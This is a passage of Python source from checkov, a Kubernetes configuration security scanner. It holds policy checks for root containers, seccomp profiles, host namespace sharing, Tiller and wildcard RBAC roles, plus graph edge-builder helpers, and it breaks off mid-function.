runAsUser < 10000, no override at container (FAILED) # Pod runAsUser < 10000, override at container >= 10000 (PASSED) # Pod runAsUser not set, container runAsUser not set or < 10000 (FAILED) # Pod runAsUser not set, container runAsUser set >= 10000 (PASSED) if results["pod"]["runAsUser"] == "PASSED": for cr in results["container"]: if cr["runAsUser"] == "FAILED": return CheckResult.FAILED return CheckResult.PASSED elif results["pod"]["runAsUser"] == "FAILED": containeroverride = False for cr in results["container"]: if cr["runAsUser"] == "FAILED" or cr["runAsUser"] == "ABSENT": return CheckResult.FAILED elif cr["runAsUser"] == "PASSED": containeroverride = True if containeroverride: return CheckResult.PASSED return CheckResult.FAILED else: # Pod runAsUser ABSENT containeroverride = False for cr in results["container"]: if cr["runAsUser"] == "FAILED" or cr["runAsUser"] == "ABSENT": return CheckResult.FAILED elif cr["runAsUser"] == "PASSED": containeroverride = True if containeroverride: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.FAILED check = RootContainersHighUID() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/RootContainersPSP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class RootContainersPSP(BaseK8Check): def __init__(self) -> None: # CIS-1.3 1.7.6 # CIS-1.5 5.2.6 name = "Do not admit root containers" # Location: PodSecurityPolicy.spec.runAsUser.rule id = "CKV_K8S_6" supported_kind = ("PodSecurityPolicy",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: if "spec" in conf: if "runAsUser" in conf["spec"]: if "rule" in conf["spec"]["runAsUser"]: inspected_value = conf["spec"]["runAsUser"]["rule"] if inspected_value == "MustRunAsNonRoot": return CheckResult.PASSED elif inspected_value == "MustRunAs": if "ranges" in conf["spec"]["runAsUser"]: for range in conf["spec"]["runAsUser"]["ranges"]: if range["min"] == 0: return CheckResult.FAILED return CheckResult.PASSED return CheckResult.FAILED check = RootContainersPSP() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/RotateKubeletServerCertificate.py ================================================ from typing import Dict, Any from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck COMPONENT_TYPES = ("kube-controller-manager", "kubelet") class RotateKubeletServerCertificate(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.6 4.2.12 id = "CKV_K8S_112" name = "Ensure that the RotateKubeletServerCertificate argument is set to true" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] command = conf.get("command") if isinstance(command, list) and any(item in command for item in COMPONENT_TYPES): for idx, cmd in enumerate(command): self.evaluated_container_keys = [f"command/[{idx}]"] if cmd.startswith("--feature-gates") and "RotateKubeletServerCertificate=false" in cmd: return CheckResult.FAILED return CheckResult.PASSED check = RotateKubeletServerCertificate() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/SchedulerBindAddress.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class SchedulerBindAddress(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_115" name = "Ensure that the --bind-address argument is set to 127.0.0.1" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-scheduler" in conf["command"]: for cmd in conf["command"]: if "=" in cmd: [key, value, *_] = cmd.split("=") if key == "--bind-address" and value == "127.0.0.1": return CheckResult.PASSED return CheckResult.FAILED return CheckResult.PASSED check = SchedulerBindAddress() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/SchedulerProfiling.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class SchedulerProfiling(BaseK8sContainerCheck): def __init__(self) -> None: id = "CKV_K8S_114" name = "Ensure that the --profiling argument is set to false" super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["command"] if conf.get("command"): if "kube-scheduler" in conf["command"]: if "--profiling=false" not in conf["command"]: return CheckResult.FAILED return CheckResult.PASSED check = SchedulerProfiling() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/Seccomp.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.data_structures_utils import find_in_dict from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check from checkov.common.util.type_forcers import force_list class Seccomp(BaseK8Check): def __init__(self) -> None: # CIS-1.5 5.7.2 name = "Ensure that the seccomp profile is set to docker/default or runtime/default" id = "CKV_K8S_31" # Location: Pod.metadata.annotations.seccomp.security.alpha.kubernetes.io/pod # Location: CronJob.spec.jobTemplate.spec.template.metadata.annotations.seccomp.security.alpha.kubernetes.io/pod # Location: *.spec.template.metadata.annotations.seccomp.security.alpha.kubernetes.io/pod # Location: *.spec.securityContext.seccompProfile.type supported_kind = ('Pod', 'Deployment', 'DaemonSet', 'StatefulSet', 'ReplicaSet', 'ReplicationController', 'Job', 'CronJob') categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: metadata = {} if conf['kind'] == 'Pod': security_profile = find_in_dict(conf, 'spec/securityContext/seccompProfile/type') if security_profile: return CheckResult.PASSED if security_profile == 'RuntimeDefault' else CheckResult.FAILED if "metadata" in conf: metadata = conf["metadata"] if "spec" in conf and isinstance(conf["spec"], dict): containers = conf["spec"].get("containers") if containers: containers = force_list(containers) num_containers = len(containers) passed_containers = 0 for container in containers: security_profile = find_in_dict(container, "securityContext/seccompProfile/type") if security_profile: if security_profile == "RuntimeDefault": passed_containers += 1 else: return CheckResult.FAILED if passed_containers == num_containers: return CheckResult.PASSED if conf['kind'] in ['Deployment', 'StatefulSet', 'DaemonSet', 'Job', 'ReplicaSet']: security_profile = find_in_dict(conf, 'spec/template/spec/securityContext/seccompProfile/type') if security_profile: return CheckResult.PASSED if security_profile == 'RuntimeDefault' else CheckResult.FAILED if "spec" in conf and isinstance(conf["spec"], dict): template_spec = conf["spec"].get("template", {}) if isinstance(template_spec, dict): template_spec = template_spec.get("spec", {}) if isinstance(template_spec, dict): containers = template_spec.get("containers") if containers: containers = force_list(containers) num_containers = len(containers) passed_containers = 0 for container in containers: security_profile = find_in_dict(container, "securityContext/seccompProfile/type") if security_profile: if security_profile == "RuntimeDefault": passed_containers += 1 else: return CheckResult.FAILED if passed_containers == num_containers: return CheckResult.PASSED metadata = find_in_dict(input_dict=conf, key_path="spec/template/metadata") if not metadata and "metadata" in conf: metadata = conf["metadata"] elif conf['kind'] == 'CronJob': inner_template = find_in_dict(input_dict=conf, key_path="spec/jobTemplate/spec/template") if inner_template and isinstance(inner_template, dict): if "spec" in inner_template: inner_spec = inner_template["spec"] if "metadata" in inner_spec: metadata = inner_spec["metadata"] elif "securityContext" in inner_spec: security_profile = inner_spec["securityContext"].get("seccompProfile", {}).get("type") if security_profile == 'RuntimeDefault': return CheckResult.PASSED if "metadata" in inner_template: metadata = inner_template["metadata"] else: inner_metadata = find_in_dict(input_dict=conf, key_path="spec/template/metadata") metadata = inner_metadata if inner_metadata else metadata if metadata: if metadata.get('annotations'): for annotation in force_list(metadata["annotations"]): for key in annotation: if "seccomp.security.alpha.kubernetes.io/pod" in key: if "docker/default" in annotation[key] or "runtime/default" in annotation[key]: return CheckResult.PASSED return CheckResult.FAILED check = Seccomp() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/SeccompPSP.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class SeccompPSP(BaseK8Check): def __init__(self) -> None: # CIS-1.5 5.7.2 name = "Ensure default seccomp profile set to docker/default or runtime/default" id = "CKV_K8S_32" # Location: PodSecurityPolicy.annotations.seccomp.security.alpha.kubernetes.io/defaultProfileName supported_kind = ("PodSecurityPolicy",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: if "metadata" in conf: if "annotations" in conf["metadata"] and conf["metadata"].get("annotations"): for annotation in conf["metadata"]["annotations"]: for key in annotation: if "seccomp.security.alpha.kubernetes.io/defaultProfileName" in key: if "docker/default" in annotation[key] or "runtime/default" in annotation[key]: return CheckResult.PASSED return CheckResult.FAILED check = SeccompPSP() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/Secrets.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class Secrets(BaseK8sContainerCheck): def __init__(self) -> None: # CIS-1.5 5.4.1 name = "Prefer using secrets as files over secrets as environment variables" id = "CKV_K8S_35" # Location: container .env super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["env", "envFrom"] if conf.get("env"): for idx, e in enumerate(conf["env"]): if not isinstance(e, dict): return CheckResult.UNKNOWN value_from = e.get("valueFrom") if value_from and "secretKeyRef" in value_from: self.evaluated_container_keys = [f"env/[{idx}]/valueFrom/secretKeyRef"] return CheckResult.FAILED if conf.get("envFrom"): for idx, ef in enumerate(conf["envFrom"]): if "secretRef" in ef: self.evaluated_container_keys = [f"envFrom/[{idx}]/secretRef"] return CheckResult.FAILED return CheckResult.PASSED check = Secrets() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ServiceAccountTokens.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.data_structures_utils import find_in_dict from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class ServiceAccountTokens(BaseK8Check): def __init__(self) -> None: # CIS-1.5 5.1.6 name = "Ensure that Service Account Tokens are only mounted where necessary" # Check automountServiceAccountToken in Pod spec and/or containers # Location: Pod.spec.automountServiceAccountToken # Location: CronJob.spec.jobTemplate.spec.template.spec.automountServiceAccountToken # Location: *.spec.template.spec.automountServiceAccountToken id = "CKV_K8S_38" supported_kind = ( "Pod", "Deployment", "DaemonSet", "StatefulSet", "ReplicaSet", "ReplicationController", "Job", "CronJob", ) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: spec = {} if conf["kind"] == "Pod": if "spec" in conf: spec = conf["spec"] elif conf["kind"] == "CronJob": inner_spec = find_in_dict(input_dict=conf, key_path="spec/jobTemplate/spec/template/spec") spec = inner_spec if inner_spec else spec else: inner_spec = find_in_dict(input_dict=conf, key_path="spec/template/spec") spec = inner_spec if inner_spec else spec # Collect results if spec: if not isinstance(spec, dict): return CheckResult.UNKNOWN if spec.get("automountServiceAccountToken") is False: return CheckResult.PASSED return CheckResult.FAILED check = ServiceAccountTokens() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ShareHostIPC.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.data_structures_utils import find_in_dict from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class ShareHostIPC(BaseK8Check): def __init__(self) -> None: # CIS-1.3 1.7.3 # CIS-1.5 5.2.3 name = "Containers should not share the host IPC namespace" id = "CKV_K8S_18" # Location: Pod.spec.hostIPC # Location: CronJob.spec.jobTemplate.spec.template.spec.hostIPC # Location: *..spec.template.spec.hostIPC supported_kind = ( "Pod", "Deployment", "DaemonSet", "StatefulSet", "ReplicaSet", "ReplicationController", "Job", "CronJob", ) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: spec = {} if conf["kind"] == "Pod": if "spec" in conf: spec = conf["spec"] elif conf["kind"] == "CronJob": inner_spec = find_in_dict(input_dict=conf, key_path="spec/jobTemplate/spec/template/spec") spec = inner_spec if inner_spec else spec else: inner_spec = find_in_dict(input_dict=conf, key_path="spec/template/spec") spec = inner_spec if inner_spec else spec if spec: if "hostIPC" in spec: if spec["hostIPC"]: return CheckResult.FAILED # This value is by default set to false return CheckResult.PASSED check = ShareHostIPC() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ShareHostIPCPSP.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.kubernetes.checks.resource.base_spec_omitted_or_value_check import BaseSpecOmittedOrValueCheck class ShareHostIPCPSP(BaseSpecOmittedOrValueCheck): def __init__(self) -> None: # CIS-1.3 1.7.3 # CIS-1.5 5.2.3 name = "Do not admit containers wishing to share the host IPC namespace" id = "CKV_K8S_3" # Location: PodSecurityPolicy.spec.hostIPC supported_kind = ("PodSecurityPolicy",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def get_inspected_key(self) -> str: return "spec/hostIPC" check = ShareHostIPCPSP() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ShareHostPID.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.data_structures_utils import find_in_dict from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class ShareHostPID(BaseK8Check): def __init__(self) -> None: # CIS-1.3 1.7.2 # CIS-1.5 5.2.2 name = "Containers should not share the host process ID namespace" id = "CKV_K8S_17" # Location: Pod.spec.hostPID # Location: CronJob.spec.jobTemplate.spec.template.spec.hostPID # Location: *.spec.template.spec.hostPID supported_kind = ( "Pod", "Deployment", "DaemonSet", "StatefulSet", "ReplicaSet", "ReplicationController", "Job", "CronJob", ) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: spec = {} if conf["kind"] == "Pod": if "spec" in conf: spec = conf["spec"] elif conf["kind"] == "CronJob": inner_spec = find_in_dict(input_dict=conf, key_path="spec/jobTemplate/spec/template/spec") spec = inner_spec if inner_spec else spec else: inner_spec = find_in_dict(input_dict=conf, key_path="spec/template/spec") spec = inner_spec if inner_spec else spec if spec: if "hostPID" in spec: if spec["hostPID"]: return CheckResult.FAILED # This value is by default set to false return CheckResult.PASSED check = ShareHostPID() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/ShareHostPIDPSP.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.kubernetes.checks.resource.base_spec_omitted_or_value_check import BaseSpecOmittedOrValueCheck class ShareHostPIDPSP(BaseSpecOmittedOrValueCheck): def __init__(self) -> None: # CIS-1.3 1.7.2 # CIS-1.5 5.2.2 name = "Do not admit containers wishing to share the host process ID namespace" id = "CKV_K8S_1" # Location: PodSecurityPolicy.spec.hostPID supported_kind = ("PodSecurityPolicy",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def get_inspected_key(self) -> str: return "spec/hostPID" check = ShareHostPIDPSP() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespace.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.common.util.data_structures_utils import find_in_dict from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class SharedHostNetworkNamespace(BaseK8Check): def __init__(self) -> None: # CIS-1.3 1.7.4 # CIS-1.5 5.2.4 name = "Containers should not share the host network namespace" id = "CKV_K8S_19" # Location: Pod.spec.hostNetwork # Location: CronJob.spec.jobTemplate.spec.template.spec.hostNetwork # Location: *.spec.template.spec.hostNetwork supported_kind = ( "Pod", "Deployment", "DaemonSet", "StatefulSet", "ReplicaSet", "ReplicationController", "Job", "CronJob", ) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: spec = {} if conf["kind"] == "Pod": if "spec" in conf: spec = conf["spec"] elif conf["kind"] == "CronJob": inner_spec = find_in_dict(input_dict=conf, key_path="spec/jobTemplate/spec/template/spec") spec = inner_spec if inner_spec else spec else: inner_spec = find_in_dict(input_dict=conf, key_path="spec/template/spec") spec = inner_spec if inner_spec else spec if spec: if "hostNetwork" in spec: if spec["hostNetwork"]: return CheckResult.FAILED # This value is by default set to false return CheckResult.PASSED check = SharedHostNetworkNamespace() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/SharedHostNetworkNamespacePSP.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.kubernetes.checks.resource.base_spec_omitted_or_value_check import BaseSpecOmittedOrValueCheck class SharedHostNetworkNamespacePSP(BaseSpecOmittedOrValueCheck): def __init__(self) -> None: # CIS-1.3 1.7.4 # CIS-1.5 5.2.4 name = "Do not admit containers wishing to share the host network namespace" id = "CKV_K8S_4" # Location: PodSecurityPolicy.spec.hostNetwork supported_kind = ("PodSecurityPolicy",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def get_inspected_key(self) -> str: return "spec/hostNetwork" check = SharedHostNetworkNamespacePSP() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/Tiller.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck class Tiller(BaseK8sContainerCheck): def __init__(self) -> None: name = "Ensure that Tiller (Helm v2) is not deployed" id = "CKV_K8S_34" # Location: container .image super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["image"] return CheckResult.FAILED if Tiller.is_tiller(metadata, conf) else CheckResult.PASSED @staticmethod def is_tiller(metadata: Dict[str, Any], conf: Dict[str, Any]) -> bool: image = conf.get("image") if image and isinstance(image, str) and "tiller" in image: return True if metadata: labels = metadata.get("labels") if labels: if labels.get("app") == "helm": return True elif labels.get("name") == "tiller": return True return False check = Tiller() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/TillerDeploymentListener.py ================================================ from typing import Any, Dict from checkov.common.models.enums import CheckResult from checkov.kubernetes.checks.resource.base_container_check import BaseK8sContainerCheck from checkov.kubernetes.checks.resource.k8s.Tiller import Tiller class TillerDeploymentListener(BaseK8sContainerCheck): def __init__(self) -> None: name = "Ensure the Tiller Deployment (Helm V2) is not accessible from within the cluster" id = "CKV_K8S_45" # Location: container .image super().__init__(name=name, id=id) def scan_container_conf(self, metadata: Dict[str, Any], conf: Dict[str, Any]) -> CheckResult: self.evaluated_container_keys = ["image"] if not Tiller.is_tiller(metadata, conf): return CheckResult.UNKNOWN self.evaluated_container_keys.append("arge") args = conf.get("args") if args: for arg in args: if "--listen" in arg and ("localhost" in arg or "127.0.0.1" in arg): return CheckResult.PASSED return CheckResult.FAILED check = TillerDeploymentListener() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/TillerService.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class TillerService(BaseK8Check): def __init__(self) -> None: name = "Ensure that the Tiller Service (Helm v2) is deleted" id = "CKV_K8S_44" # Location: container .image supported_kind = ("Service",) categories = (CheckCategories.KUBERNETES,) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: metadata = conf.get("metadata") if metadata: if "name" in metadata and "tiller" in str(metadata["name"]).lower(): return CheckResult.FAILED labels = metadata.get("labels") if labels and isinstance(labels, dict): for v in labels.values(): if "tiller" in str(v).lower(): return CheckResult.FAILED spec = conf.get("spec") if spec: selector = spec.get("selector") if selector and isinstance(selector, dict): for v in selector.values(): if "tiller" in str(v).lower(): return CheckResult.FAILED return CheckResult.UNKNOWN check = TillerService() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/WildcardRoles.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories, CheckResult from checkov.kubernetes.checks.resource.base_spec_check import BaseK8Check class WildcardRoles(BaseK8Check): # CIS-1.6 5.1.3 def __init__(self) -> None: name = "Minimize wildcard use in Roles and ClusterRoles" id = "CKV_K8S_49" categories = (CheckCategories.KUBERNETES,) supported_kind = ('Role', 'ClusterRole',) super().__init__(name=name, id=id, categories=categories, supported_entities=supported_kind) def scan_spec_conf(self, conf: dict[str, Any]) -> CheckResult: rules = conf.get("rules") if isinstance(rules, list) and len(rules) > 0: if "apiGroups" in conf["rules"][0]: if any("*" in s for s in conf["rules"][0]["apiGroups"]): return CheckResult.FAILED if "resources" in conf["rules"][0]: if any("*" in s for s in conf["rules"][0]["resources"]): return CheckResult.FAILED if "verbs" in conf["rules"][0]: if any("*" in s for s in conf["rules"][0]["verbs"]): return CheckResult.FAILED return CheckResult.PASSED check = WildcardRoles() ================================================ FILE: checkov/kubernetes/checks/resource/k8s/__init__.py ================================================ from os.path import dirname, basename, isfile, join import glob modules = glob.glob(join(dirname(__file__), "*.py")) __all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith("__init__.py")] ================================================ FILE: checkov/kubernetes/checks/resource/k8s/k8s_check_utils.py ================================================ from __future__ import annotations from typing import Any def extract_commands(conf: dict[str, Any]) -> tuple[list[str], list[str]]: commands = conf.get("command") if not commands or not isinstance(commands, list): return [], [] values = [] keys = [] for cmd in commands: if cmd is None: continue if isinstance(cmd, str) and "=" in cmd: key, value = cmd.split("=", maxsplit=1) keys.append(key) values.append(value) else: keys.append(cmd) values.append('') return keys, values ================================================ FILE: checkov/kubernetes/checks/resource/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.kubernetes.checks.resource.base_registry import Registry registry = Registry(CheckType.KUBERNETES) ================================================ FILE: checkov/kubernetes/graph_builder/__init__.py ================================================ ================================================ FILE: checkov/kubernetes/graph_builder/graph_components/ResourceKeywordIdentifier.py ================================================ class ResourceKeywordIdentifier: """ this class maps connections between resources by their unique keyword identifier. each resource in this class has a list of objects, and each object defines a potential connection to a different resource only if all attributes in the object are matched. each object in the list is independent regardless of the other objects in the list. for example: A ServiceAccount resource A with the property 'metadata.name' with value 'service-123' will match a resource B of type 'ClusterRoleBinding' with a 'subjects.name' property equals to 'service-123' and the property 'kind' for resource A matches resource B's 'subjects.kind' property """ KINDS_KEYWORDS_MAP = { # TODO: "PersistentVolumeClaim": ["claimName"], # TODO: "ClusterRole": ["rules[].resources", "rules[].resourceNames"], # TODO: "Role": ["rules[].resources", "rules[].resourceNames"], "ClusterRoleBinding": [ {"metadata.name": "roleRef.name", "kind": "roleRef.kind"}, [{"subjects": {"metadata.name": "name", "kind": "kind"}}] ], "RoleBinding": [ {"metadata.name": "roleRef.name", "kind": "roleRef.kind"}, [{"subjects": {"metadata.name": "name", "kind": "kind", "metadata.namespace": "namespace"}}] ] } ================================================ FILE: checkov/kubernetes/graph_builder/graph_components/__init__.py ================================================ ================================================ FILE: checkov/kubernetes/graph_builder/graph_components/blocks.py ================================================ from __future__ import annotations from dataclasses import dataclass from typing import Dict, Any from checkov.common.graph.graph_builder.graph_components.blocks import Block from checkov.common.graph.graph_builder.graph_components.block_types import BlockType @dataclass class KubernetesSelector: match_labels: Dict[str, Any] | None @dataclass class KubernetesBlockMetadata: selector: KubernetesSelector labels: Dict[str, Any] name: str class KubernetesBlock(Block): def __init__( self, block_name: str, resource_type: str, config: Dict[str, Any], path: str, attributes: Dict[str, Any], metadata: KubernetesBlockMetadata | None ) -> None: super().__init__(block_name, config, path, BlockType.RESOURCE, attributes, block_name, 'Kubernetes') self.metadata = metadata self.resource_type = resource_type ================================================ FILE: checkov/kubernetes/graph_builder/graph_components/edge_builders/K8SEdgeBuilder.py ================================================ from __future__ import annotations from abc import abstractmethod from checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock class K8SEdgeBuilder: @staticmethod @abstractmethod def should_search_for_edges(vertex: KubernetesBlock) -> bool: """ implementation should examine vertex's attributes and indicate if it's potentially suitable for the concrete class's edge type. e.g: search for a label attribute in LabelSelectorEdgeBuilder's implementation """ raise NotImplementedError @staticmethod @abstractmethod def find_connections(vertex: KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]: """ implementation should search in each of the vertices for a possible connection to the vertex param according to the concrete class's rule(s). returns a list of the connected vertices' indices e.g: find vertices with a label attribute that match current vertex's selector attribute """ raise NotImplementedError ================================================ FILE: checkov/kubernetes/graph_builder/graph_components/edge_builders/KeywordEdgeBuilder.py ================================================ from __future__ import annotations from checkov.kubernetes.graph_builder.graph_components.edge_builders.K8SEdgeBuilder import K8SEdgeBuilder from checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock from checkov.kubernetes.graph_builder.graph_components.ResourceKeywordIdentifier import ResourceKeywordIdentifier from checkov.kubernetes.kubernetes_utils import FILTERED_RESOURCES_FOR_EDGE_BUILDERS class KeywordEdgeBuilder(K8SEdgeBuilder): @staticmethod def should_search_for_edges(vertex: KubernetesBlock) -> bool: return vertex.attributes.get("kind") in ResourceKeywordIdentifier.KINDS_KEYWORDS_MAP.keys() \ and vertex.attributes.get("kind") not in FILTERED_RESOURCES_FOR_EDGE_BUILDERS @staticmethod def find_connections(vertex: KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]: """ connection is defined by a match between a vertex's (of a certain type) references definitions to a potential vertex (of any type). example: A Pod with the property 'spec.serviceAccountName' with value 'service-123' will match a resource of type 'ServiceAccount' with a 'metadata.name' property equals to 'service-123' """ connections: list[int] = [] for potential_vertex_index, potential_vertex in enumerate(vertices): if potential_vertex.id == vertex.id: continue resource_references_definitions: list[dict[str, str] | list[dict[str, dict[str, str]]]] = ResourceKeywordIdentifier.KINDS_KEYWORDS_MAP[vertex.attributes["kind"]] # type: ignore[assignment] # check that resource items comply to all references definitions defined in ResourceKeywordIdentifier for references_definition in resource_references_definitions: match = True if isinstance(references_definition, dict): for potential_vertex_key, vertex_key in references_definition.items(): match = KeywordEdgeBuilder._find_match_in_attributes(vertex, potential_vertex, potential_vertex_key, vertex_key, match) if match: connections.append(potential_vertex_index) # some items are nested in lists and their value in the vertex is concatenated with their index, # like so: subjects.0.name elif isinstance(references_definition, list): # not really a loop, just extracting the dict's key for base_key_attribute, reference_definitions_items in references_definition[0].items(): vertex_attribute_references_list: list[dict[str, str]] = vertex.attributes.get(base_key_attribute) # type: ignore[assignment] if not vertex_attribute_references_list: continue # iterate every item on the list as a separate resource for i in range(len(vertex_attribute_references_list)): match = True for potential_vertex_key, vertex_key in reference_definitions_items.items(): vertex_key = f"{base_key_attribute}.{i}.{vertex_key}" match = KeywordEdgeBuilder._find_match_in_attributes(vertex, potential_vertex, potential_vertex_key, vertex_key, match) if match: connections.append(potential_vertex_index) return connections @staticmethod def _find_match_in_attributes(vertex: KubernetesBlock, potential_vertex: KubernetesBlock, potential_vertex_key: str, vertex_key: str, match: bool) -> bool: vertex_ref = vertex.attributes.get(vertex_key) potential_vertex_ref = potential_vertex.attributes.get(potential_vertex_key) if vertex_ref is None or potential_vertex_ref is None or vertex_ref != potential_vertex_ref: # if not all attributes match then it's not qualified as an edge match = False return match ================================================ FILE: checkov/kubernetes/graph_builder/graph_components/edge_builders/LabelSelectorEdgeBuilder.py ================================================ from __future__ import annotations from checkov.kubernetes.graph_builder.graph_components.edge_builders.K8SEdgeBuilder import K8SEdgeBuilder from checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock from checkov.kubernetes.kubernetes_utils import FILTERED_RESOURCES_FOR_EDGE_BUILDERS class LabelSelectorEdgeBuilder(K8SEdgeBuilder): @staticmethod def should_search_for_edges(vertex: KubernetesBlock) -> bool: return vertex.metadata is not None \ and vertex.metadata.labels is not None \ and "kind" in vertex.attributes \ and vertex.attributes["kind"] not in FILTERED_RESOURCES_FOR_EDGE_BUILDERS @staticmethod def find_connections(vertex: KubernetesBlock, vertices: list[KubernetesBlock]) -> list[int]: """ connection is defined when all vertex's match_labels are matched to another vertex's labels. example #1: object A match_labels - {label1: "foo", label2: "bar"} object B labels - {label1: "foo", label2: "bar", label3: "baz"} A and B are connected because all A's match_labels appear in B's labels example #2: object C match_labels - {label1: "foo", label2: "bar", label3: "baz"} object D labels - {label1: "foo", label2: "bar"} C and D are not connected since Not all C's match_labels appear in D's labels """ connections: list[int] = [] if not vertex.metadata: return connections labels = vertex.metadata.labels for potential_vertex_index, potential_vertex in enumerate(vertices): if potential_vertex.id == vertex.id or not potential_vertex.metadata: continue match_labels = potential_vertex.metadata.selector.match_labels if match_labels: if len(match_labels) > len(labels): continue # find shared label between the inspected vertex and the iterated potential vertex shared_labels = [k for k in match_labels if k in labels and match_labels[k] == labels[k]] if len(shared_labels) == len(match_labels): # if all potential vertex's selector labels appear in vertex's labels - it's connected connections.append(potential_vertex_index) return connections ================================================ FILE: checkov/kubernetes/graph_builder/graph_components/edge_builders/NetworkPolicyEdgeBuilder.py ================================================ from __future__ import annotations from checkov.kubernetes.graph_builder.graph_components.edge_builders.K8SEdgeBuilder import K8SEdgeBuilder from checkov.kubernetes.graph_builder.graph_components.blocks import KubernetesBlock from checkov.kubernetes.kubernetes_utils import remove_metadata_from_attribute class NetworkPolicyEdgeBuilder(K8SEdgeBuilder): @staticmethod def should_search_for_edges(vertex: KubernetesBlock) -> bool: return bool(vertex.attributes.get("kind") == "NetworkPolicy") @staticmethod def find_connections(vertex: 